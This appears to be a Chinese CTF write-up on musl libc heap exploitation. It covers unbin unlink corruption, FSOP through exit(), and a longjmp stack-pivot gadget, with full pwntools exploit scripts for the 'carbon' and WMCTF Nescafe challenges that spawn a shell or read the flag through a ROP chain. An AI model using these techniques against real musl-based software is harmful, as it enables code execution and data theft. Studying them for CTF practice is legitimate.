0
点赞
收藏
分享

微信扫一扫

1.1.24 musl pwn

写心之所想 2022-09-09 阅读 21

1.1.24 musl pwn

关键源码

static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next) // 若 bin 只有一个 chunk,将 bin 设为空 bin
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE; // 设置 INUSE 标志位
NEXT_CHUNK(c)->psize |= C_INUSE;
}

FSOP

调用​​exit​​时

// src/exit/exit.c L27-L33
_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit(); <---
_Exit(code);
}

其中的​​__stdio_exit​​函数

// src/stdio/__stdio_exit.c L16-L23
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used); <---
close_file(__stdout_used);
close_file(__stderr_used);
}

再到​​close_file​​函数

// src/stdio/__stdio_exit.c L8-L14
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0); <---
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

当​​wpos != wbase​​​时,便会调用​​write​​​,并且参数为当前的​​结构体​​。

栈迁移

如下​​gadget​​​搭配​​FSOP​​可以很方便实现栈迁移。

.text:0000000000049503 loc_49503:
.text:0000000000049503 mov rbx, [rdi]
.text:0000000000049506 mov rbp, [rdi+8]
.text:000000000004950A mov r12, [rdi+10h]
.text:000000000004950E mov r13, [rdi+18h]
.text:0000000000049512 mov r14, [rdi+20h]
.text:0000000000049516 mov r15, [rdi+28h]
.text:000000000004951A mov rdx, [rdi+30h]
.text:000000000004951E mov rsp, rdx
.text:0000000000049521 mov rdx, [rdi+38h]
.text:0000000000049525 jmp rdx
.text:0000000000049525 longjmp endp

泄露​​environ​​​也可以进行栈迁移来​​ROP​

例题:高校战"疫" musl

exp

from pwn import*
context(os = "linux", arch = 'amd64', log_level = 'debug')

s = process('./carbon')
elf = ELF('./carbon')
libc = ELF("./libc.so")

def add(size,content,ans='N'):
s.sendlineafter(b'> ', b'1')
s.sendlineafter(b'What is your prefer size? >', str(size))
s.sendlineafter(b'Are you a believer? >', ans)
s.sendafter(b'Say hello to your new sleeve >', content)

def delete(index):
s.sendlineafter(b'> ', b'2')
s.sendlineafter(b'What is your sleeve ID? >', str(index))

def edit(index,content):
s.sendlineafter(b'> ', b'3')
s.sendlineafter(b'What is your sleeve ID? >', str(index))
s.send(content)

def show(index):
s.sendlineafter(b'> ', b'4')
s.sendlineafter(b'What is your sleeve ID? >', str(index))

add(0, b'') # 0
show(0)
libc_base = u64(s.recv(6).ljust(8,b'\x00')) - 0xa0a80 - 912
success('[+] libc_base=> '+hex(libc_base))

system_addr = libc_base + 0x46bda
stdin_addr = libc_base + 0xa01c0
mal = libc_base + 0xa0a80
brk = libc_base + 0xa2ff0


add(0x10, b'\n') # 1
add(0x10, b'\n') # 2
add(0x10, b'\n') # 3
add(0x10, b'\n') # 4
add(0x10, b'\n') # 5
add(0x10, b'\n') # 6


delete(0)
delete(2)

payload = b'a'*0x10 # 0
payload+= p64(0x21) + p64(0x21) # 1
payload+= b'a'*0x10
payload+= p64(0x21) + p64(0x20) # 2
payload+= p64(stdin_addr - 0x10)*2
payload+= p8(0x20) + b'\n'

add(0x10, payload, b'Y') # 0
add(0x10, b'\n') # 2 unbin
delete(1)

edit(2, p64(mal-0x20)*2)
add(0x10, b'\n') # 1 unbin
delete(3)

edit(2, p64(brk-0x10)*2)
add(0x10, b'\n') # 3 unbin
delete(5)

bin37_head_addr = mal + 904
edit(2, p64(bin37_head_addr - 0x18)+p64(stdin_addr - 0x10))
add(0x10, b'\n') # 5

fake_IO = b'/bin/sh\x00' # flags
fake_IO+= b'\x00'*0x20
fake_IO+= p64(1) # wpos
fake_IO+= b'\x00'*0x8
fake_IO+= p64(2) # wbase
fake_IO+= b'\x00'*0x8
fake_IO+= p64(system_addr) # write

'''
struct _IO_FILE {
unsigned int flags;
unsigned char *rpos;
unsigned char *rend;
int (*close)(FILE *);
unsigned char *wend;
unsigned char *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev;
FILE *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim;
off_t shcnt;
FILE *prev_locked;
FILE *next_locked;
__locale_struct *locale;
} * const
'''

add(0x50, fake_IO) # 7

edit(2, p64(bin37_head_addr - 0x18)+p64(brk - 0x10))
add(0x10, b'\n') # 8
add(0x50, p64(0xBADBEEF - 0x20) + b'\n') # 9

edit(2, p64(bin37_head_addr - 0x18)+p64(mal - 0x20))
add(0x10, b'\n') # 10
add(0x20, b'a'*0x10 + p64(0)*2)

gdb.attach(s)
s.interactive()

例题:WMCTF Nescafe

exp1

from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')

s = process('./pwn')
libc = ELF('./libc.so')

def add(content):
s.sendlineafter(b'>>', b'1')
s.sendafter(b'Please input the content\n', content)

def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx:\n', str(index))

def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx\n', str(index))

def edit(index,content):
s.sendlineafter(b'>>', b'4')
s.sendlineafter(b'idx:\n', str(index))
s.sendafter(b'Content\n', content)

add(b'a'*0x8) # 0
add(b'b'*0x8) # 1
show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50
success('[+] libc_base=> '+hex(libc_base))

mal = libc_base + 0x292ac0
stdout = libc_base + 0x292300
open_addr = libc_base + 0x23399
read_addr = libc_base + 0x59f8e
write_addr = libc_base + 0x5a3b5
bin16_head_addr = mal + 8 + 0x18*16 + 8
chunk0 = libc_base + 0x2953b0
gadget = libc_base + 0x000000000004951A

'''
.text:0000000000049503 loc_49503:
.text:0000000000049503 mov rbx, [rdi]
.text:0000000000049506 mov rbp, [rdi+8]
.text:000000000004950A mov r12, [rdi+10h]
.text:000000000004950E mov r13, [rdi+18h]
.text:0000000000049512 mov r14, [rdi+20h]
.text:0000000000049516 mov r15, [rdi+28h]
.text:000000000004951A mov rdx, [rdi+30h]
.text:000000000004951E mov rsp, rdx
.text:0000000000049521 mov rdx, [rdi+38h]
.text:0000000000049525 jmp rdx
.text:0000000000049525 longjmp endp
'''

pop_rdi_ret = libc_base + 0x0000000000014862
pop_rsi_ret = libc_base + 0x000000000001c237
pop_rdx_ret = libc_base + 0x000000000001bea2
ret = libc_base + 0x0000000000000cdc

delete(0)
edit(0, p64(stdout - 0x10)*2)
add(b'c'*0x8) # 2

delete(0)
edit(0, p64(bin16_head_addr - 0x18) + p64(stdout - 0x10))

payload = b'./flag\x00\x00'
payload+= p64(pop_rdi_ret) + p64(chunk0 + 0x10) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
payload+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
payload+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr)

add(payload) # 3

'''
struct _IO_FILE {
unsigned int flags;
unsigned char *rpos;
unsigned char *rend;
int (*close)(FILE *);
unsigned char *wend;
unsigned char *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev;
FILE *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim;
off_t shcnt;
FILE *prev_locked;
FILE *next_locked;
__locale_struct *locale;
} * const
'''

payload = b'a'*0x30
payload+= p64(stdout + 0x50) + p64(ret) + b'\x00'*0x8
payload+= p64(gadget) # _IO_FILE->write
payload+= p64(pop_rdi_ret) + p64(stdout + 0x38) + p64(gadget)
payload+= p64(chunk0 + 0x18) + p64(ret)

add(payload) # 4 orw
#gdb.attach(s)
s.interactive()

exp2

from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')

s = process('./pwn')
libc = ELF('./libc.so')

def add(content):
s.sendlineafter(b'>>', b'1')
s.sendafter(b'Please input the content\n', content)

def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx:\n', str(index))

def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx\n', str(index))

def edit(index,content):
s.sendlineafter(b'>>', b'4')
s.sendlineafter(b'idx:\n', str(index))
s.sendafter(b'Content\n', content)

add(b'a'*0x8) # 0
add(b'b'*0x8) # 1
show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50
success('[+] libc_base=> '+hex(libc_base))

mal = libc_base + 0x292ac0
environ = libc_base + 0x294fd8
bin35_head_addr = mal + 8 + 0x18*35 + 8
open_addr = libc_base + 0x23399
read_addr = libc_base + 0x59f8e
write_addr = libc_base + 0x5a3b5
pop_rdi_ret = libc_base + 0x0000000000014862
pop_rsi_ret = libc_base + 0x000000000001c237
pop_rdx_ret = libc_base + 0x000000000001bea2
flag_addr = libc_base + 0x2953c0

delete(0)
edit(0, p64(bin35_head_addr - 0x18)*2)
add(b'./flag\x00') # 2
add(p64(0)*13 + b'\x30') # 3
add(p64(0)*6) # 4
show(0)

elf_base = u64(s.recv(6).ljust(8,b'\x00')) - 0x202040
success('[+] elf_base=> '+hex(elf_base))

edit(0, p64(elf_base + 0x202040) + p64(environ) + p64(0)*4)
show(1)
stack_back = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x70
success('[+] stack_back=> '+hex(stack_back))

rop = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
rop+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
rop+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr)

edit(0, p64(elf_base + 0x202040) + p64(stack_back) + p64(0)*4)
edit(1,rop)

#gdb.attach(s)
s.interactive()


作者:{狒猩橙}



举报

相关推荐

0 条评论